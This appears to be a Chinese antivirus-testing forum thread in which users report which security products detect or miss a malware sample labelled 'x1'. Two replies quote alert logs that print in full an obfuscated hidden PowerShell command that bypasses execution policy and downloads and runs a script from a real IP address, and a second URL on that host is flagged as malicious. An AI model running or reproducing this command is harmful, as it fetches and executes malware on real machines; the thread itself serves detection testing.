x1 (2023-09-04)

显示全部楼层 · 发表于 2023-9-4 12:42:11

火绒安全 Miss

显示全部楼层 · 发表于 2023-9-4 12:49:27

双击

显示全部楼层 · 发表于 2023-9-4 12:51:47

360 双击kill ，BDTS miss

显示全部楼层 · 发表于 2023-9-4 12:53:53

本帖最后由 761773275 于 2023-9-4 12:54 编辑

BEST

实时防护检测到恶意命令行的执行。The process C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe was allowed to run executing the malicious command line "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NOP -WIND HIDDeN -eXeC BYPASS -NONI [BYTe[]];$A123='IeX(NeW-OBJeCT NeT.W';$B456='eBCLIeNT).DOWNLO';[BYTe[]];$C789='/=//=//=//=//=//=//=//=//=//=/(''http://51.254.49.49:222/truintobroth/cod.jpg'')'.RePLACe('/=//=//=//=//=//=//=//=//=//=/','ADSTRING');[BYTe[]];IeX($A123+$B456+$C789). In order to take action, please contact your system administrator.

复制代码

流量扫描已检测到威胁。已拒绝访问网页。51.254.49.49:222/truintobroth/gen.txt 包含类型为云病毒的恶意软件

复制代码

显示全部楼层 · 发表于 2023-9-4 13:01:34

本帖最后由初心．杰于 2023-9-4 13:10 编辑

ESET和Symantec 扫描miss 双击拦截

卡巴扫描miss 双击miss
几分钟后报衍生物

显示全部楼层 · 发表于 2023-9-4 13:50:24

本帖最后由 hansyu 于 2023-9-4 13:52 编辑

McAfee 双击阻止
Real Protect-PSFL!D0BBD5D4B6FE

显示全部楼层 · 发表于 2023-9-4 14:19:57

蜘蛛Miss

显示全部楼层 · 发表于 2023-9-4 15:27:26

761773275 发表于 2023-9-4 12:53
BEST

防护项目：隐藏执行PowerShell
执行文件：C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
执行命令行：powershell.exe -NOP -WIND HIDDeN -eXeC BYPASS -NONI [BYTe[]];$A123='IeX(NeW-OBJeCT NeT.W';$B456='eBCLIeNT).DOWNLO';[BYTe[]];$C789='/=//=//=//=//=//=//=//=//=//=/(''http://51.254.49.49:222/truintobroth/cod.jpg'')'.RePLACe('/=//=//=//=//=//=//=//=//=//=/','ADSTRING');[BYTe[]];IeX($A123+$B456+$C789)
操作结果：已阻止

显示全部楼层 · 发表于 2023-9-4 17:20:30

毒霸 miss

[病毒样本] x1 (2023-09-04)

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源